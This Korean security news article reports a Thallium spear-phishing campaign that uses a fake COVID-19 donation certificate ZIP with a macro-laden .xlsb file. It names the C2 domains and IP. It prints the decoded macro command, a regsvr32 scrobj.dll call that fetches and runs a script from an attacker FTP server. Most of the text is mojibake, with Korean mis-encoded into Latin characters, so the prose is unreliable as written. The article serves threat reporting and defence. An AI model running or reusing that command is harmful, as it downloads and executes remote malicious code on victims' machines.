1¿ùÃÊ ¹ß»ýÇÑ »ç¼³ ÁÖ½Ä ÅõÀÚ ¸Þ½ÅÀú ¾Ç¿ë °ø°Ý°ú À¯»ç¼º ¹ß°ßµÅ
[º¸¾È´º½º ¿øº´Ã¶ ±âÀÚ] ºÏÇÑÀÇ ÇØÅ·±×·ìÀ¸·Î Àß ¾Ë·ÁÁø Å»·ý(Thallium)ÀÌ Äڷγª19 °ü·Ã ±âºÎÁõ¼¸¦ »çĪÇÑ ½ºÇǾîÇÇ½Ì °ø°ÝÀ» ¼öÇàÇÑ °ÍÀÌ È®ÀεŠ°ü·ÃÀÚµéÀÇ ÁÖÀÇ°¡ ¿ä±¸µÈ´Ù. ÃÖ±Ù ¡®2021 Äڷγª19 ´ëÀÀÀ» À§ÇÑ ±âºÎ±Ý ¿µ¼öÁõ ¹ß±Þ ½Åû¼¡¯ ¹®¼·Î »çĪÇÑ ÇØÅ· °ø°Ý Á¤È²ÀÌ Æ÷ÂøµÆ´Ù°í À̽ºÆ®½ÃÅ¥¸®Æ¼ ½ÃÅ¥¸®Æ¼´ëÀÀ¼¾ÅÍ(ESRC)°¡ ¹àÇû´Ù. À̹ø °ø°ÝÀº ¿¬¸»Á¤»ê ½ÃÁð¿¡ ¸ÂÃç ¸¶Ä¡ ±¹³» ƯÁ¤ ¹Î°£ ±¸È£Çùȸ¿¡¼ º¸³½ ±âºÎ±Ý ¿µ¼öÁõ ¹ß±Þ ½Åû¼ À̸ÞÀÏó·³ ±³¹¦ÇÏ°Ô À§ÀåÇß´Ù.
¡ãƯÁ¤ ÀçÇر¸È£Çùȸ ´Üü¿¡¼ ¹ß¼ÛÇÑ °Íó·³ À§ÀåÇÑ ÇØÅ· À̸ÞÀÏ ¸ð½À[ÀÚ·á=ESRC]
À§ÀÇ À̹ÌÁö´Â ½ÇÁ¦ °ø°Ý¿¡ »ç¿ëµÈ À̸ÞÀÏ È¸é ¸ð½ÀÀ̸ç, ÀÌ¿Ü¿¡µµ ´Ù¸¥ À¯»ç °ø°Ýµµ ÁøÇàµÇ°í ÀÖ´Ù. ÇØ´ç À̸ÞÀÏ¿¡´Â ¡®2021코로나19대응_기부증서.zip¡¯¶õ À̸§ÀÇ ¾ÐÃàÆÄÀÏÀÌ Ã·ºÎµÅ ÀÖ´Ù. ¾ÐÃàÆÄÀÏ ³»ºÎ¿¡´Â ¡â2021코로나19대응_기부증서.pdf¿Í ¡â다량 기부금영수증 발급 신청서_양식_개인.xlsb µî 2°³ÀÇ ÆÄÀÏÀÌ Æ÷ÇԵǾî ÀÖ´Ù.
¸ÕÀú ¡®2021코로나19대응_기부증서.pdf¡¯ ÆÄÀÏ¿¡´Â ±âºÎÁõ¼ ³»¿ëÀ» ´ã°í ÀÖ´Ù. ´ë량 기부금영수증 발급 신청서_양식_개인.xlsb MS Excel ¹ÙÀ̳ʸ® ¿öÅ©½ÃÆ®(.xlsb)¸¦ ½ÇÇàÇÒ °æ¿ì ¸¶Ä¡ º¸È£µÈ ÆÄÀÏó·³ ȸéÀ» º¸¿©ÁÖ°í, ¡®ÄÜÅÙÃ÷ »ç¿ë¡¯ ¹öÆ° Ŭ¸¯À» À¯µµÇÑ´Ù. ¸¸¾à ÄÜÅÙÃ÷ »ç¿ëÀ» ¼±ÅÃÇØ ¸ÅÅ©·Î ±â´ÉÀÌ Çã¿ëµÇ¸é °ø°ÝÀÚÀÇ ¸í·ÉÁ¦¾î(C&C) ¼¹ö·Î Á¢¼ÓÇØ Ãß°¡ ÇàÀ§¸¦ ¼öÇàÇÑ´Ù.
¡ã¸ÅÅ©·Î ½ÇÇà À¯µµ ȸé[ÀÚ·á=ESRC]
ÀÌó·³ Á¤»óÀûÀÎ ¹®¼ ȸéÀ» º¸¿©ÁÖ¾î ÀÌ¿ëÀÚ·Î ÇÏ¿©±Ý ¾Æ¹«·± ¹®Á¦°¡ ¾ø´Â °Íó·³ ¼ÓÀÌ°í, ¾Ç¼º ÆÄÀÏ¿¡ ³ëÃâµÈ °ÍÀ» ¼û±ä´Ù. ÇÏÁö¸¸ ÇØ´ç ÄÄÇ»ÅÍ´Â ¹é±×¶ó¿îµå¿¡¼ °ø°ÝÀÚ°¡ ÁöÁ¤ÇÑ FTP ¼¹ö·Î Á¢¼ÓÇØ Ãß°¡ ¸í·ÉÀ» ½ÃµµÇÑ´Ù.
¡â[¸í·ÉÁ¦¾î C2 ÁÖ¼Ò]
- ftp://mufasa:simba@kvz.factorgpu[.]com:21/forbaby.png
½ÇÁ¦ ¡®다량 기부금영수증 발급 신청서_양식_개인.xlsb¡¯ ÆÄÀÏÀº ³»ºÎ ¸ÅÅ©·Î ½ÃÆ®¿¡ ¾Æ·¡ Äڵ尡 Æ÷ÇԵǾî ÀÖ´Ù.
¡ãmacrosheets ³»ºÎ ÄÚµåȸé[ÀÚ·á=ESRC]
¿¢¼¿ ½ÃÆ®¿¡ Æ÷ÇÔµÈ ¸í·É¾î¸¦ ºÐ¼®ÇØ º¸¸é, ù ¹ø° ¼¿ ¹®ÀÚ¿¡ µîÈ£(=) ±âÈ£¸¦ »ç¿ëÇØ ¼ö½ÄÀ¸·Î °£ÁÖÇϵµ·Ï ÀÔ·ÂÇß°í, ¸í·ÉÁ¦¾î ¼¹ö ¹®ÀÚ¿À» °¢°¢ ´Ù¸¥ ¼¿¿¡ ÇÑ ¹®ÀÚ¾¿ ³Ö´Â ³µ¶È ¹æ½ÄÀ» »ç¿ëÇß´Ù.
¡ãC2 ¼¹ö ÁÖ¼Ò ¼¿ ³µ¶È ȸé[ÀÚ·á=ESRC]
³µ¶ÈµÈ ¹®ÀÚ¿À» ¸ðµÎ Çؼ®Çϸé regsvr32.exe ¸í·ÉÀ» ÅëÇØ °ø°ÝÀÚ°¡ ÁöÁ¤ÇÑ FTP ¼¹ö·Î Á¢¼ÓÇÏ°Ô µÇ¸ç, Script Component Runtime ÀÎÀÚ µîÀ» ÅëÇØ È£ÃâÇÑ´Ù.
regsvr32 /u /n /s /i:ftp://mufasa:simba@kvz.factorgpu[.]com/forbaby.png scrobj.dll
ÀÌ ·çƾÀ¸·Î URL(FTP) ÁÖ¼Ò¿¡ ÀÖ´Â ÀÓÀÇÀÇ ¾Ç¼º ½ºÅ©¸³Æ®¸¦ ½ÇÇàÇÒ ¼ö ÀÖ°í, °ø°ÝÀÚÀÇ Àǵµ¿¡ µû¶ó ¾ðÁ¦µçÁö Ãß°¡ °ø°ÝÀÌ °¡´ÉÇÏ´Ù.
ESRC ¿¬±¸¿øµéÀº À̹ø À§Çù »ç·Ê¸¦ Á¶»çÇÏ´Â °úÁ¤¿¡¼ Áö³ 1¿ù 3ÀÏ ¡®Å»·ý Á¶Á÷, »ç¼³ ÁÖ½Ä ÅõÀÚ ¸Þ½ÅÀú ¾Ç¿ëÇØ ¼ÒÇÁÆ®¿þ¾î °ø±Þ¸Á °ø°Ý ¼öÇ࡯ ³»¿ë°ú À¯»ç¼ºÀÌ ³ô´Ù´Â °ÍÀ» È®ÀÎÇß´Ù°í ¹àÇû´Ù. ´ç½Ã ¹ß°ßµÈ ¾Ç¼º ¹®¼ ÆÄÀÏ°ú Tactics, Techniques, Procedures (TTPs)°¡ ¿¬°üµÅ ÀÖ´Ù´Â °Í. ¾Ç¼º ¹®¼ÆÄÀÏÀÇ ¸¶Áö¸· ¼öÁ¤ÀÚ °èÁ¤ÀÌ ¡®Asus¡¯·Î µ¿ÀÏÇÏ´Ù. ´õºÒ¾î ¸í·ÉÁ¦¾î ¼¹ö·Î »ç¿ëµÈ Passive DNS ¾ÆÀÌÇÇ ÁÖ¼Ò(23.106.160.32)°¡ Á¤È®È÷ ÀÏÄ¡ÇÑ´Ù.
¡ã»ç¼³ ÁÖ½Ä ÅõÀÚ ¸Þ½ÅÀú ¾Ç¿ë °ø°Ý°ú À̹ø °ø°Ý À¯»ç¼º ºñ±³[ÀÚ·á=ESRC]
¡â불법사용 전화번호 이용중지시스템(UNMS) 사용자 현황 조사_양식.xlsb
(search.greenulz[.]com / 23.106.160.32)
¡â다량 기부금영수증 발급 신청서_양식_개인.xlsb
(kvz.factorgpu[.]com / 23.106.160.32)
Çѱ¹¿¡¼ Å»·ý Á¶Á÷Àº ÃÖ±Ù °¡Àå È°¼ºµµ°¡ ³ôÀº À§Çù ÇàÀ§ÀÚ·Î ºÐ·ùµÇ¾î ÀÖÀ¸¸ç, ´Ù¾çÇÑ ºÐ¾ß¸¦ ´ë»óÀ¸·Î ±¤¹üÀ§ÇÑ ±Ô¸ðÀÇ °ø°ÝÀ» ¼öÇàÇÏ°í ÀÖ´Ù. ÀÌó·³ Á¤±³ÇÑ °ø±Þ¸Á °ø°Ý»Ó¸¸ ¾Æ´Ï¶ó °¡Â¥ ¼¹ö¸¦ Á÷Á¢ ±¸ÃàÇϱ⵵ Çϸç, ½ºÇǾîÇǽ̱îÁö °ÅÀÇ ¸ðµç °ø°Ý¼ö¹ýÀ» µ¿¿øÇÏ°í ÀÖ´Ù. Áö±Ý±îÁö ±â¼úÇÑ ³»¿ë ¿Ü¿¡µµ ´Ù¼öÀÇ À§Çù »ç·Ê°¡ Áö¼ÓÀûÀ¸·Î Æ÷ÂøµÇ°í ÀÖÀ¸¸ç, ±¹³» Æ÷ÅÐ»ç °í°´¼¾ÅÍ À̸ÞÀÏÀ» ÀÌ¿ëÇÑ °ø°Ýµµ À̾îÁö°í ÀÖ´Ù.
ƯÈ÷, ESRC´Â ¿¬¸»Á¤»ê ½Ã±â¸¦ ³ë·Á »çȸ°øÇÐÀû ±â¹ýÀ» Àý¹¦ÇÏ°Ô »ç¿ëÇÏ´Â µî °¥¼ö·Ï °ø°Ý¼ö¹ýÀÌ ³ë°ñÀûÀÌ°í ´ë´ãÇØÁö°í ÀÖ´Ù¸ç, À̹ø »ç·Ê¸¦ ¼÷ÁöÇØ À¯»çÇÑ À§Çù¿¡ ³ëÃâµÇÁö ¾Êµµ·Ï °¢º°ÇÑ ÁÖÀÇ°¡ ÇÊ¿äÇÏ´Ù°í °Á¶Çß´Ù. ¶ÇÇÑ, ¸¸¿¡ Çϳª¶óµµ MS Office ¹®¼ ¿¶÷½Ã ¡®ÄÜÅÙÃ÷ »ç¿ë¡¯ Ŭ¸¯À» À¯µµÇÏ´Â °æ¿ì ½ÊÁßÆȱ¸ ¾Ç¼º ¹®¼ÀÏ °¡´É¼ºÀÌ ³ô´Ù´Â Á¡À» ¸í½ÉÇØ ´Þ¶ó°í ´çºÎÇß´Ù.
[¿øº´Ã¶ ±âÀÚ(boanone@boannews.com)]
<ÀúÀÛ±ÇÀÚ: º¸¾È´º½º(www.boannews.com) ¹«´ÜÀüÀç-Àç¹èÆ÷±ÝÁö>